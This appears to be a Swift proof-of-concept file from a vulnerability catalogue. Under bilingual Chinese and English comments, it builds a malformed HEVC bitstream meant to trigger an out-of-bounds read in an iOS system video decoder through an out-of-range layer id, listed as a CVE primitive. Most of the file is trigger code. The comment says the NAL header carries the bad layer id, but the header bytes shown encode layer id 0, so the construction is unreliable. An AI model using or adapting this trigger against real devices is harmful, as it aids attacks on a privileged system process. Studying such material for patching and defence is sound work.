// vid.hevc · AVD.videodecoder 插件 · CVE-2026-112415 // 原语: OOB 读 · 系统进程 · tier 2 // Primitive: OOB read · system process · tier 2 // // [zh] MVHEVC 层 ID 越界 // 多层 HEVC 的 layer id 在 27.0 未做范围校验,越界值直接进入插件的层表索引。27.2 补入层 ID 校验。 // // [en] MVHEVC layer id out of range // Multilayer HEVC layer ids are not range-checked on 27.0, so an out-of-range value goes straight // into the plugin's layer table index. iOS 27.2 adds layer id validation. // ── 判别 / oracle ── // 层 ID 取 0x3F(有效范围之外)。 import Foundation // ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func be32(_ v: UInt32) -> [UInt8] { [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le32(_ v: UInt32) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] } static func be64(_ v: UInt64) -> [UInt8] { (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } } static func le64(_ v: UInt64) -> [UInt8] { (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } } static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } // ── 种子构造 / seed construction — verbatim from Cinder27 Sources (VideoPayload) ── enum VideoPayload { static func hevcBadLayerID(layerID: UInt8 = 0x3F) -> Data { var out = Data() out.append(contentsOf: [0, 0, 0, 1]) // VPS NAL with a two-byte header carrying an out-of-range layer id out.append(contentsOf: [0x40, 0x01, layerID, 0x0C, 0x01, 0xFF, 0xFF, 0x01, 0x60]) out.append(contentsOf: [0, 0, 0, 1]) out.append(contentsOf: [0x42, 0x01, layerID, 0x01, 0x60, 0x00]) out.append(contentsOf: [UInt8](repeating: 0x00, count: 16)) return out } }